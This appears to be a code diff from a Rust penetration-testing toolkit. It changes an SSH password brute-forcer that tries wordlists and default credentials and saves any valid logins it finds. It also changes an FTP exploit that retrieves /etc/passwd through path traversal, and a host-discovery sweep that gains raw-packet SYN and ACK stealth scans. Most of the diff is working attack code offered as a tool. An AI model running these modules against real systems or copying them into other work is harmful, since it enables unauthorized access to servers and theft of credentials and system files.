} else if success {
self.successful_attempts.fetch_add(1, Ordering::Relaxed);
} else {
self.failed_attempts.fetch_add(1, Ordering::Relaxed);
}
}
fn record_retry(&self) {
self.retried_attempts.fetch_add(1, Ordering::Relaxed);
}
fn print_progress(&self) {
let total = self.total_attempts.load(Ordering::Relaxed);
let success = self.successful_attempts.load(Ordering::Relaxed);
let failed = self.failed_attempts.load(Ordering::Relaxed);
let errors = self.error_attempts.load(Ordering::Relaxed);
let retries = self.retried_attempts.load(Ordering::Relaxed);
let elapsed = self.start_time.elapsed().as_secs_f64();
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
print!(
"\r{} {} attempts | {} OK | {} fail | {} err | {} retry | {:.1}/s ",
"[Progress]".cyan(),
total.to_string().bold(),
success.to_string().green(),
failed,
errors.to_string().red(),
retries,
rate
);
let _ = std::io::Write::flush(&mut std::io::stdout());
}
fn print_final(&self) {
println!();
let total = self.total_attempts.load(Ordering::Relaxed);
let success = self.successful_attempts.load(Ordering::Relaxed);
let failed = self.failed_attempts.load(Ordering::Relaxed);
let errors = self.error_attempts.load(Ordering::Relaxed);
let retries = self.retried_attempts.load(Ordering::Relaxed);
let elapsed = self.start_time.elapsed().as_secs_f64();
println!("{}", "=== Statistics ===".bold());
println!(" Total attempts: {}", total);
println!(" Successful: {}", success.to_string().green().bold());
println!(" Failed: {}", failed);
println!(" Errors: {}", errors.to_string().red());
println!(" Retries: {}", retries);
println!(" Elapsed time: {:.2}s", elapsed);
if elapsed > 0.0 {
println!(" Average rate: {:.1} attempts/s", total as f64 / elapsed);
}
}
}
pub async fn run(target: &str) -> Result<()> {
println!("=== SSH Brute Force Module ===");
println!("{}", "=== SSH Brute Force Module ===".bold());
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("SSH Port", "22")?;
let input = prompt_default("SSH Port", &DEFAULT_SSH_PORT.to_string())?;
match input.parse() {
Ok(p) => break p,
Err(_) => println!("Invalid port. Try again."),
Ok(p) if p > 0 => break p,
_ => println!("{}", "Invalid port. Must be between 1 and 65535.".yellow()),
}
};
let usernames_file = prompt_existing_file("Username wordlist")?;
let passwords_file = prompt_existing_file("Password wordlist")?;
// Ask about default credentials
let use_defaults = prompt_yes_no("Try default credentials first?", true)?;
let usernames_file = if prompt_yes_no("Use username wordlist?", true)? {
Some(prompt_existing_file("Username wordlist")?)
} else {
None
};
let passwords_file = if prompt_yes_no("Use password wordlist?", true)? {
Some(prompt_existing_file("Password wordlist")?)
} else {
None
};
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
return Err(anyhow!("At least one wordlist or default credentials must be enabled"));
}
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.parse() {
Ok(n) if n > 0 => break n,
_ => println!("Invalid number. Try again."),
Ok(n) if n > 0 && n <= 256 => break n,
_ => println!("{}", "Invalid number. Must be between 1 and 256.".yellow()),
}
};
let connection_timeout: u64 = loop {
let input = prompt_default("Connection timeout (seconds)", "5")?;
match input.parse() {
Ok(n) if n >= 1 && n <= 60 => break n,
_ => println!("{}", "Invalid timeout. Must be between 1 and 60 seconds.".yellow()),
}
};
let retry_on_error = prompt_yes_no("Retry on connection errors?", true)?;
let max_retries: usize = if retry_on_error {
loop {
let input = prompt_default("Max retries per attempt", "2")?;
match input.parse() {
Ok(n) if n > 0 && n <= 10 => break n,
_ => println!("{}", "Invalid retries. Must be between 1 and 10.".yellow()),
}
}
} else {
0
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
@@ -48,47 +192,98 @@ pub async fn run(target: &str) -> Result<()> {
let connect_addr = normalize_target(target, port)?;
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(AtomicBool::new(false));
println!("\n{}", format!("[*] Starting brute-force on {}", connect_addr).cyan());
println!("\n[*] Starting brute-force on {}", connect_addr);
let users = load_lines(&usernames_file)?;
if users.is_empty() {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
// Load wordlists
let mut usernames = Vec::new();
if let Some(ref file) = usernames_file {
usernames = load_lines(file)?;
if usernames.is_empty() {
println!("{}", "[!] Username wordlist is empty.".yellow());
} else {
println!("{}", format!("[*] Loaded {} usernames", usernames.len()).green());
}
}
let mut passwords = Vec::new();
if let Some(ref file) = passwords_file {
passwords = load_lines(file)?;
if passwords.is_empty() {
println!("{}", "[!] Password wordlist is empty.".yellow());
} else {
println!("{}", format!("[*] Loaded {} passwords", passwords.len()).green());
}
}
// Add default credentials if requested
if use_defaults {
for (user, pass) in DEFAULT_CREDENTIALS {
if !usernames.contains(&user.to_string()) {
usernames.push(user.to_string());
}
if !passwords.contains(&pass.to_string()) {
passwords.push(pass.to_string());
}
}
println!("{}", format!("[*] Added {} default credentials", DEFAULT_CREDENTIALS.len()).green());
}
if usernames.is_empty() {
return Err(anyhow!("No usernames available"));
}
let passwords = load_lines(&passwords_file)?;
if passwords.is_empty() {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
return Err(anyhow!("No passwords available"));
}
let users = Arc::new(users);
let mut tasks: FuturesUnordered<_> = FuturesUnordered::new();
// Calculate total attempts
let total_attempts = if combo_mode {
usernames.len() * passwords.len()
} else {
passwords.len()
};
println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan());
println!();
let found = Arc::new(Mutex::new(HashSet::new()));
let stop = Arc::new(AtomicBool::new(false));
let stats = Arc::new(Statistics::new());
let semaphore = Arc::new(Semaphore::new(concurrency));
let timeout_duration = Duration::from_secs(connection_timeout);
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop.clone();
let progress_handle = tokio::spawn(async move {
loop {
if stop_clone.load(Ordering::Relaxed) {
break;
}
stats_clone.print_progress();
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
}
});
// Generate credential pairs
let mut tasks = Vec::new();
let mut user_cycle_idx = 0usize;
for pass in passwords {
for pass in passwords.iter() {
if stop_on_success && stop.load(Ordering::Relaxed) {
break;
}
let selected_users: Vec<String> = if combo_mode {
users.iter().cloned().collect()
usernames.iter().cloned().collect()
} else {
if users.is_empty() {
if usernames.is_empty() {
Vec::new()
} else {
let user = users[user_cycle_idx % users.len()].clone();
let user = usernames[user_cycle_idx % usernames.len()].clone();
user_cycle_idx += 1;
vec![user]
}
};
if selected_users.is_empty() {
continue;
}
for user in selected_users {
if stop_on_success && stop.load(Ordering::Relaxed) {
break;
@@ -99,57 +294,80 @@ pub async fn run(target: &str) -> Result<()> {
let pass_clone = pass.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let stats_clone = Arc::clone(&stats);
let semaphore_clone = semaphore.clone();
let timeout_clone = timeout_duration;
let stop_flag = stop_on_success;
let verbose_flag = verbose;
let retry_flag = retry_on_error;
let max_retries_clone = max_retries;
let permit = semaphore_clone.acquire_owned().await.unwrap();
tasks.push(tokio::spawn(async move {
let _permit = permit;
if stop_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
match try_ssh_login(&addr_clone, &user_clone, &pass_clone).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
found_clone
.lock()
.await
.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
if stop_flag {
stop_clone.store(true, Ordering::Relaxed);
let mut retries = 0;
loop {
match try_ssh_login(&addr_clone, &user_clone, &pass_clone, timeout_clone).await {
Ok(true) => {
println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone).green());
let mut found_guard = found_clone.lock().await;
found_guard.insert((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
stats_clone.record_attempt(true, false);
if stop_flag {
stop_clone.store(true, Ordering::Relaxed);
}
break;
}
Ok(false) => {
stats_clone.record_attempt(false, false);
if verbose_flag {
println!("\r{}", format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone).dimmed());
}
break;
}
Err(e) => {
stats_clone.record_attempt(false, true);
if retry_flag && retries < max_retries_clone {
retries += 1;
stats_clone.record_retry();
if verbose_flag {
println!("\r{}", format!("[!] {} -> {}:{} (retry {}/{})", addr_clone, user_clone, pass_clone, retries, max_retries_clone).yellow());
}
sleep(Duration::from_millis(500)).await;
continue;
} else {
if verbose_flag {
println!("\r{}", format!("[!] {} -> {}:{} error: {}", addr_clone, user_clone, pass_clone, e).red());
}
break;
}
}
}
Ok(false) => {
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
}
Err(e) => {
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
}
}
sleep(Duration::from_millis(10)).await;
}));
if tasks.len() >= concurrency {
if let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
}
}
}
}
}
while let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
}
// Wait for all tasks
for task in tasks {
let _ = task.await;
}
stop.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
stats.print_final();
let creds = found.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found.");
println!("\n{}", "[-] No credentials found.".yellow());
} else {
println!("\n[+] Valid credentials:");
println!("\n{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
for (host, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host, user, pass);
}
@@ -160,35 +378,47 @@ pub async fn run(target: &str) -> Result<()> {
for (host, user, pass) in creds.iter() {
writeln!(file, "{} -> {}:{}", host, user, pass)?;
}
println!("[+] Results saved to '{}'", filename.display());
file.flush()?;
println!("{}", format!("[+] Results saved to '{}'", filename.display()).green());
}
}
Ok(())
}
async fn try_ssh_login(normalized_addr: &str, user: &str, pass: &str) -> Result<bool> {
async fn try_ssh_login(
normalized_addr: &str,
user: &str,
pass: &str,
timeout_duration: Duration,
) -> Result<bool> {
let user_owned = user.to_string();
let pass_owned = pass.to_string();
let addr_owned = normalized_addr.to_string();
let result = spawn_blocking(move || {
match TcpStream::connect(&addr_owned) {
Ok(tcp) => {
let mut sess = Session::new()?;
sess.set_tcp_stream(tcp);
sess.handshake()?;
match sess.userauth_password(&user_owned, &pass_owned) {
Ok(_) => Ok(sess.authenticated()),
Err(_) => Ok(false),
}
}
Err(e) => Err(anyhow!("Connection error to {}: {}", addr_owned, e)),
}
})
.await??;
let result = timeout(
timeout_duration,
spawn_blocking(move || {
let tcp = TcpStream::connect(&addr_owned)
.map_err(|e| anyhow!("Connection error: {}", e))?;
let mut sess = Session::new()
.map_err(|e| anyhow!("Failed to create SSH session: {}", e))?;
sess.set_tcp_stream(tcp);
sess.handshake()
.map_err(|e| anyhow!("SSH handshake failed: {}", e))?;
sess.userauth_password(&user_owned, &pass_owned)
.map_err(|e| anyhow!("Authentication failed: {}", e))?;
Ok(sess.authenticated())
}),
)
.await
.map_err(|_| anyhow!("Connection timeout"))??;
Ok(result)
result
}
fn normalize_target(host: &str, default_port: u16) -> Result<String> {
@@ -293,12 +523,6 @@ fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
.collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
let path_candidate = Path::new(input_path_str)
.file_name()
File diff suppressed because it is too large Load Diff
@@ -1,8 +1,7 @@
use anyhow::{anyhow, Result};
use ftp::FtpStream;
use std::net::ToSocketAddrs;
use suppaftp::FtpStream;
use std::fs::{File, OpenOptions};
use std::io::{self, copy, BufRead, BufReader, Write};
use std::io::{self, BufRead, BufReader, Write};
use std::path::Path;
use tokio::task;
use tokio::sync::Semaphore;
@@ -35,12 +34,8 @@ fn exploit_target(target: String, port: u16) -> Result<String> {
println!("{}", format!("[*] Connecting to FTP service at {}...", addr).yellow());
// Resolve address with better error handling
let socket_addr = addr.to_socket_addrs()?
.next()
.ok_or_else(|| anyhow!("Failed to resolve address: {}", addr))?;
let mut ftp = FtpStream::connect(socket_addr)
// Connect to FTP server
let mut ftp = FtpStream::connect(&addr)
.map_err(|e| anyhow!("FTP connection error to {}: {}", addr, e))?;
ftp.login("pachev", "").map_err(|e| anyhow!("FTP login failed: {}", e))?;
@@ -48,15 +43,19 @@ fn exploit_target(target: String, port: u16) -> Result<String> {
println!("{}", "[*] Attempting to retrieve /etc/passwd via path traversal...".yellow());
let reader = ftp.simple_retr("../../../../../../../../etc/passwd")
.map_err(|e| anyhow!("Failed to retrieve file: {}", e))?
.into_inner();
let mut reader = std::io::Cursor::new(reader);
let safe_name = target.replace(['[', ']', ':'], "_");
let out_file = format!("{}_passwd.txt", safe_name);
let mut file = File::create(&out_file)?;
copy(&mut reader, &mut file)?;
ftp.retr("../../../../../../../../etc/passwd", |reader| -> Result<(), suppaftp::FtpError> {
io::copy(reader, &mut file)
.map_err(|e| suppaftp::FtpError::ConnectionError(std::io::Error::new(
std::io::ErrorKind::Other,
format!("Failed to write file: {}", e)
)))?;
Ok(())
})
.map_err(|e| anyhow!("Failed to retrieve file: {}", e))?;
ftp.quit().ok();
+6 -6
View File
@@ -7,12 +7,12 @@ use std::io::{self, BufRead, BufReader, Write};
use std::net::{IpAddr, SocketAddr, ToSocketAddrs};
use std::path::Path;
use std::time::Duration;
use trust_dns_client::client::{AsyncClient, ClientHandle};
use trust_dns_client::proto::op::ResponseCode;
use trust_dns_client::rr::{DNSClass, Name, RecordType};
use trust_dns_client::udp::UdpClientStream;
use trust_dns_proto::op::Message;
use trust_dns_proto::xfer::DnsResponse;
use hickory_client::client::{AsyncClient, ClientHandle};
use hickory_client::proto::op::ResponseCode;
use hickory_client::rr::{DNSClass, Name, RecordType};
use hickory_client::udp::UdpClientStream;
use hickory_proto::op::Message;
use hickory_proto::xfer::DnsResponse;
use tokio::net::UdpSocket;
#[derive(Clone, Debug)]
+527 -5
View File
@@ -1,17 +1,25 @@
use anyhow::{anyhow, Context, Result};
use colored::*;
use ipnet::IpNet;
use libc;
use pnet_packet::ip::IpNextHeaderProtocols;
use pnet_packet::ipv4::{self, MutableIpv4Packet};
use pnet_packet::tcp::{self, MutableTcpPacket, TcpFlags};
use pnet_packet::Packet;
use socket2::{Domain, Protocol, Socket, Type};
use std::{
collections::HashSet,
fs::File,
io::{self, BufRead, BufReader, Write},
net::{IpAddr, SocketAddr},
net::{IpAddr, Ipv4Addr, SocketAddr},
sync::{
atomic::{AtomicUsize, Ordering},
Arc,
Arc, Mutex,
},
};
use tokio::{net::TcpStream, process::Command, sync::Semaphore, time::Duration};
use tokio::{net::TcpStream, process::Command, sync::Semaphore, task, time::Duration};
use rand::Rng;
use std::mem::MaybeUninit;
#[derive(Clone, Debug)]
struct PingConfig {
@@ -20,12 +28,16 @@ struct PingConfig {
concurrency: usize,
timeout_secs: u64,
verbose: bool,
save_up_hosts: Option<String>,
save_down_hosts: Option<String>,
}
#[derive(Clone, Debug)]
enum PingMethod {
Icmp,
Tcp { ports: Vec<u16> },
Syn { ports: Vec<u16> },
Ack { ports: Vec<u16> },
}
impl PingMethod {
@@ -46,6 +58,34 @@ impl PingMethod {
)
}
}
PingMethod::Syn { ports } => {
if ports.len() == 1 {
format!("SYN/{}", ports[0])
} else {
format!(
"SYN [{}]",
ports
.iter()
.map(u16::to_string)
.collect::<Vec<_>>()
.join(",")
)
}
}
PingMethod::Ack { ports } => {
if ports.len() == 1 {
format!("ACK/{}", ports[0])
} else {
format!(
"ACK [{}]",
ports
.iter()
.map(u16::to_string)
.collect::<Vec<_>>()
.join(",")
)
}
}
}
}
@@ -53,6 +93,8 @@ impl PingMethod {
match self {
PingMethod::Icmp => "ICMP",
PingMethod::Tcp { .. } => "TCP",
PingMethod::Syn { .. } => "SYN",
PingMethod::Ack { .. } => "ACK",
}
}
@@ -60,6 +102,8 @@ impl PingMethod {
match self {
PingMethod::Icmp => icmp_probe(ip, timeout).await,
PingMethod::Tcp { ports } => tcp_probe(ip, ports, timeout).await,
PingMethod::Syn { ports } => syn_probe(ip, ports, timeout).await,
PingMethod::Ack { ports } => ack_probe(ip, ports, timeout).await,
}
}
}
@@ -174,6 +218,23 @@ fn gather_configuration(initial: &str) -> Result<PingConfig> {
prompt_usize("Max concurrent hosts", 100, Some(1), Some(10_000))?;
let verbose = prompt_yes_no("Verbose output (show down hosts/errors)?", false)?;
// Ask about saving results
let save_up_hosts = if prompt_yes_no("Save up hosts to file?", false)? {
let default_file = "ping_sweep_up_hosts.txt";
let file_path = prompt_with_default("Output file for up hosts", default_file)?;
Some(file_path)
} else {
None
};
let save_down_hosts = if prompt_yes_no("Save down hosts to file?", false)? {
let default_file = "ping_sweep_down_hosts.txt";
let file_path = prompt_with_default("Output file for down hosts", default_file)?;
Some(file_path)
} else {
None
};
let methods = loop {
let mut methods = Vec::new();
@@ -193,6 +254,30 @@ fn gather_configuration(initial: &str) -> Result<PingConfig> {
}
}
if prompt_yes_no("Use SYN scan (stealth scan, requires root)?", false)? {
let default_ports = "80,443";
let port_input =
prompt_with_default("TCP ports for SYN scan (comma separated)", default_ports)?;
let ports = parse_ports(&port_input)?;
if ports.is_empty() {
println!("{}", " No valid ports provided.".yellow());
} else {
methods.push(PingMethod::Syn { ports });
}
}
if prompt_yes_no("Use ACK scan (filter detection, requires root)?", false)? {
let default_ports = "80,443";
let port_input =
prompt_with_default("TCP ports for ACK scan (comma separated)", default_ports)?;
let ports = parse_ports(&port_input)?;
if ports.is_empty() {
println!("{}", " No valid ports provided.".yellow());
} else {
methods.push(PingMethod::Ack { ports });
}
}
if methods.is_empty() {
println!("{}", "Select at least one method.".red().bold());
continue;
@@ -218,6 +303,8 @@ fn gather_configuration(initial: &str) -> Result<PingConfig> {
concurrency,
timeout_secs,
verbose,
save_up_hosts,
save_down_hosts,
})
}
@@ -294,6 +381,11 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
let processed_counter = Arc::new(AtomicUsize::new(0));
let start_time = std::time::Instant::now();
// Collections for saving results
let up_hosts_list = Arc::new(Mutex::new(Vec::<String>::new()));
let down_hosts_list = Arc::new(Mutex::new(Vec::<String>::new()));
let mut tasks = Vec::new();
for ip in hosts {
@@ -301,6 +393,8 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
let methods_clone = methods.clone();
let success_clone = success_counter.clone();
let processed_clone = processed_counter.clone();
let up_list = up_hosts_list.clone();
let down_list = down_hosts_list.clone();
tasks.push(tokio::spawn(async move {
let permit = match sem.acquire_owned().await {
Ok(p) => p,
@@ -363,8 +457,18 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
)
.green()
);
} else if verbose {
println!("\r{}", format!("[-] Host {} is down", ip_string).dimmed());
// Add to up hosts list
if let Ok(mut list) = up_list.lock() {
list.push(ip_string.clone());
}
} else {
// Add to down hosts list
if let Ok(mut list) = down_list.lock() {
list.push(ip_string.clone());
}
if verbose {
println!("\r{}", format!("[-] Host {} is down", ip_string).dimmed());
}
}
}));
}
@@ -387,6 +491,54 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
.bold()
);
// Save results to files if requested
if let Some(ref up_file) = config.save_up_hosts {
let up_list = up_hosts_list.lock().unwrap();
if !up_list.is_empty() {
match save_hosts_to_file(&up_list, up_file) {
Ok(_) => {
println!("{}", format!("[+] Saved {} up hosts to '{}'", up_list.len(), up_file).green());
}
Err(e) => {
eprintln!("{}", format!("[!] Failed to save up hosts to '{}': {}", up_file, e).red());
}
}
} else {
println!("{}", format!("[*] No up hosts to save to '{}'", up_file).yellow());
}
}
if let Some(ref down_file) = config.save_down_hosts {
let down_list = down_hosts_list.lock().unwrap();
if !down_list.is_empty() {
match save_hosts_to_file(&down_list, down_file) {
Ok(_) => {
println!("{}", format!("[+] Saved {} down hosts to '{}'", down_list.len(), down_file).green());
}
Err(e) => {
eprintln!("{}", format!("[!] Failed to save down hosts to '{}': {}", down_file, e).red());
}
}
} else {
println!("{}", format!("[*] No down hosts to save to '{}'", down_file).yellow());
}
}
Ok(())
}
fn save_hosts_to_file(hosts: &[String], file_path: &str) -> Result<()> {
let mut file = File::create(file_path)
.with_context(|| format!("Failed to create file '{}'", file_path))?;
for host in hosts {
writeln!(file, "{}", host)
.with_context(|| format!("Failed to write to file '{}'", file_path))?;
}
file.flush()
.with_context(|| format!("Failed to flush file '{}'", file_path))?;
Ok(())
}
@@ -469,6 +621,376 @@ async fn tcp_probe(ip: &IpAddr, ports: &[u16], timeout: Duration) -> Result<Vec<
Ok(successes)
}
async fn syn_probe(ip: &IpAddr, ports: &[u16], timeout: Duration) -> Result<Vec<String>> {
// SYN scan only works with IPv4
let ipv4 = match ip {
IpAddr::V4(addr) => *addr,
IpAddr::V6(_) => {
return Err(anyhow!("SYN scan only supports IPv4 addresses"));
}
};
let mut successes = Vec::new();
for port in ports {
match syn_probe_single(&ipv4, *port, timeout).await {
Ok(true) => successes.push(format!("SYN/{}", port)),
Ok(false) => {}
Err(e) => {
// Silently continue on errors (permission denied, etc.)
if e.to_string().contains("Permission denied") {
return Err(anyhow!("SYN scan requires root privileges. Run with sudo or use TCP connect scan instead."));
}
}
}
}
Ok(successes)
}
async fn syn_probe_single(ip: &Ipv4Addr, port: u16, timeout: Duration) -> Result<bool> {
use std::net::Ipv4Addr as StdIpv4Addr;
use std::net::IpAddr as StdIpAddr;
// Create raw socket for sending
let sender = Socket::new(
Domain::IPV4,
Type::RAW,
Some(Protocol::from(libc::IPPROTO_RAW)),
)
.context("Failed to create raw socket for SYN scan")?;
sender
.set_header_included_v4(true)
.context("Failed to set IP_HDRINCL")?;
// Create raw socket for receiving TCP responses
let receiver = Socket::new(
Domain::IPV4,
Type::RAW,
Some(Protocol::TCP),
)
.context("Failed to create receiver socket for SYN scan")?;
receiver
.set_read_timeout(Some(timeout))
.context("Failed to set read timeout")?;
// Get source IP (use a dummy IP if we can't determine it)
let src_ip = get_local_ipv4().unwrap_or_else(|| Ipv4Addr::new(127, 0, 0, 1));
// Craft SYN packet - generate all random values before any await
let (src_port, seq_num, ip_id) = {
let mut rng = rand::rng();
(
rng.random_range(49152..=65535),
rng.random::<u32>(),
rng.random::<u16>(),
)
};
let tcp_header_len = 20;
let mut tcp_buf = vec![0u8; tcp_header_len];
let mut tcp_pkt = MutableTcpPacket::new(&mut tcp_buf).unwrap();
tcp_pkt.set_source(src_port);
tcp_pkt.set_destination(port);
tcp_pkt.set_sequence(seq_num);
tcp_pkt.set_acknowledgement(0);
tcp_pkt.set_data_offset(5);
tcp_pkt.set_flags(TcpFlags::SYN);
tcp_pkt.set_window(65535);
tcp_pkt.set_urgent_ptr(0);
let tcp_immutable = tcp_pkt.to_immutable();
tcp_pkt.set_checksum(tcp::ipv4_checksum(&tcp_immutable, &src_ip, ip));
// Craft IP packet
const IPV4_HEADER_LEN: usize = 20;
let total_len = (IPV4_HEADER_LEN + tcp_header_len) as u16;
let mut ip_buf = vec![0u8; total_len as usize];
let mut ip_pkt = MutableIpv4Packet::new(&mut ip_buf).unwrap();
ip_pkt.set_version(4);
ip_pkt.set_header_length(5);
ip_pkt.set_total_length(total_len);
ip_pkt.set_identification(ip_id);
ip_pkt.set_ttl(64);
ip_pkt.set_next_level_protocol(IpNextHeaderProtocols::Tcp);
ip_pkt.set_source(src_ip);
ip_pkt.set_destination(*ip);
ip_pkt.set_flags(ipv4::Ipv4Flags::DontFragment);
ip_pkt.set_payload(tcp_pkt.packet());
ip_pkt.set_checksum(ipv4::checksum(&ip_pkt.to_immutable()));
// Send packet (blocking operation)
let dst_addr = SocketAddr::new(StdIpAddr::V4(StdIpv4Addr::from(*ip)), 0);
sender
.send_to(ip_pkt.packet(), &dst_addr.into())
.context("Failed to send SYN packet")?;
// Listen for response using spawn_blocking for async compatibility
let receiver_arc = Arc::new(receiver);
let start = std::time::Instant::now();
while start.elapsed() < timeout {
let sock_clone = receiver_arc.try_clone().map_err(|e| anyhow!("Failed to clone socket: {}", e))?;
let ip_clone = *ip;
let port_clone = port;
let src_ip_clone = src_ip;
let src_port_clone = src_port;
let recv_result = task::spawn_blocking(move || -> Result<Option<(Vec<u8>, SocketAddr)>, std::io::Error> {
let mut buf = [MaybeUninit::<u8>::uninit(); 1500];
match sock_clone.recv_from(&mut buf) {
Ok((len, addr)) => {
// Safe conversion: we know len is valid and within buf bounds
if len > buf.len() {
return Err(std::io::Error::new(std::io::ErrorKind::InvalidData, "Invalid buffer length"));
}
let slice = unsafe { std::slice::from_raw_parts(buf.as_ptr() as *const u8, len) };
let sock_addr = addr.as_socket().ok_or_else(|| std::io::Error::new(std::io::ErrorKind::Other, "convert"))?;
Ok(Some((slice.to_vec(), sock_addr)))
}
Err(ref e) if e.kind() == std::io::ErrorKind::WouldBlock || e.kind() == std::io::ErrorKind::TimedOut => Ok(None),
Err(e) => Err(e),
}
})
.await
.context("Blocking task for recv_from failed")?;
match recv_result {
Ok(Some((data, _))) => {
if data.len() < IPV4_HEADER_LEN {
tokio::time::sleep(Duration::from_millis(10)).await;
continue;
}
// Parse IP header
if let Some(ip_recv) = ipv4::Ipv4Packet::new(&data) {
if ip_recv.get_source() == ip_clone && ip_recv.get_destination() == src_ip_clone {
// Parse TCP header
let tcp_offset = (ip_recv.get_header_length() as usize) * 4;
if data.len() >= tcp_offset + 20 {
if let Some(tcp_recv) = tcp::TcpPacket::new(&data[tcp_offset..]) {
if tcp_recv.get_source() == port_clone && tcp_recv.get_destination() == src_port_clone {
let flags = tcp_recv.get_flags();
// SYN-ACK means port is open
if flags & (TcpFlags::SYN | TcpFlags::ACK) == (TcpFlags::SYN | TcpFlags::ACK) {
return Ok(true);
}
// RST means port is closed but host is up
if flags & TcpFlags::RST == TcpFlags::RST {
return Ok(true); // Host is up
}
}
}
}
}
}
}
Ok(None) => {
// Timeout or would block - continue waiting
tokio::time::sleep(Duration::from_millis(10)).await;
}
Err(_) => {
tokio::time::sleep(Duration::from_millis(10)).await;
}
}
}
Ok(false)
}
async fn ack_probe(ip: &IpAddr, ports: &[u16], timeout: Duration) -> Result<Vec<String>> {
// ACK scan only works with IPv4
let ipv4 = match ip {
IpAddr::V4(addr) => *addr,
IpAddr::V6(_) => {
return Err(anyhow!("ACK scan only supports IPv4 addresses"));
}
};
let mut successes = Vec::new();
for port in ports {
match ack_probe_single(&ipv4, *port, timeout).await {
Ok(true) => successes.push(format!("ACK/{}", port)),
Ok(false) => {}
Err(e) => {
// Silently continue on errors (permission denied, etc.)
if e.to_string().contains("Permission denied") {
return Err(anyhow!("ACK scan requires root privileges. Run with sudo or use TCP connect scan instead."));
}
}
}
}
Ok(successes)
}
async fn ack_probe_single(ip: &Ipv4Addr, port: u16, timeout: Duration) -> Result<bool> {
use std::net::Ipv4Addr as StdIpv4Addr;
use std::net::IpAddr as StdIpAddr;
// Create raw socket for sending
let sender = Socket::new(
Domain::IPV4,
Type::RAW,
Some(Protocol::from(libc::IPPROTO_RAW)),
)
.context("Failed to create raw socket for ACK scan")?;
sender
.set_header_included_v4(true)
.context("Failed to set IP_HDRINCL")?;
// Create raw socket for receiving TCP responses
let receiver = Socket::new(
Domain::IPV4,
Type::RAW,
Some(Protocol::TCP),
)
.context("Failed to create receiver socket for ACK scan")?;
receiver
.set_read_timeout(Some(timeout))
.context("Failed to set read timeout")?;
// Get source IP
let src_ip = get_local_ipv4().unwrap_or_else(|| Ipv4Addr::new(127, 0, 0, 1));
// Craft ACK packet - generate all random values before any await
let (src_port, seq_num, ip_id) = {
let mut rng = rand::rng();
(
rng.random_range(49152..=65535),
rng.random::<u32>(),
rng.random::<u16>(),
)
};
let tcp_header_len = 20;
let mut tcp_buf = vec![0u8; tcp_header_len];
let mut tcp_pkt = MutableTcpPacket::new(&mut tcp_buf).unwrap();
tcp_pkt.set_source(src_port);
tcp_pkt.set_destination(port);
tcp_pkt.set_sequence(seq_num);
tcp_pkt.set_acknowledgement(0);
tcp_pkt.set_data_offset(5);
tcp_pkt.set_flags(TcpFlags::ACK);
tcp_pkt.set_window(65535);
tcp_pkt.set_urgent_ptr(0);
let tcp_immutable = tcp_pkt.to_immutable();
tcp_pkt.set_checksum(tcp::ipv4_checksum(&tcp_immutable, &src_ip, ip));
// Craft IP packet
const IPV4_HEADER_LEN: usize = 20;
let total_len = (IPV4_HEADER_LEN + tcp_header_len) as u16;
let mut ip_buf = vec![0u8; total_len as usize];
let mut ip_pkt = MutableIpv4Packet::new(&mut ip_buf).unwrap();
ip_pkt.set_version(4);
ip_pkt.set_header_length(5);
ip_pkt.set_total_length(total_len);
ip_pkt.set_identification(ip_id);
ip_pkt.set_ttl(64);
ip_pkt.set_next_level_protocol(IpNextHeaderProtocols::Tcp);
ip_pkt.set_source(src_ip);
ip_pkt.set_destination(*ip);
ip_pkt.set_flags(ipv4::Ipv4Flags::DontFragment);
ip_pkt.set_payload(tcp_pkt.packet());
ip_pkt.set_checksum(ipv4::checksum(&ip_pkt.to_immutable()));
// Send packet (blocking operation)
let dst_addr = SocketAddr::new(StdIpAddr::V4(StdIpv4Addr::from(*ip)), 0);
sender
.send_to(ip_pkt.packet(), &dst_addr.into())
.context("Failed to send ACK packet")?;
// Listen for response using spawn_blocking for async compatibility
let receiver_arc = Arc::new(receiver);
let start = std::time::Instant::now();
while start.elapsed() < timeout {
let sock_clone = receiver_arc.try_clone().map_err(|e| anyhow!("Failed to clone socket: {}", e))?;
let ip_clone = *ip;
let port_clone = port;
let src_ip_clone = src_ip;
let src_port_clone = src_port;
let recv_result = task::spawn_blocking(move || -> Result<Option<(Vec<u8>, SocketAddr)>, std::io::Error> {
let mut buf = [MaybeUninit::<u8>::uninit(); 1500];
match sock_clone.recv_from(&mut buf) {
Ok((len, addr)) => {
// Safe conversion: we know len is valid and within buf bounds
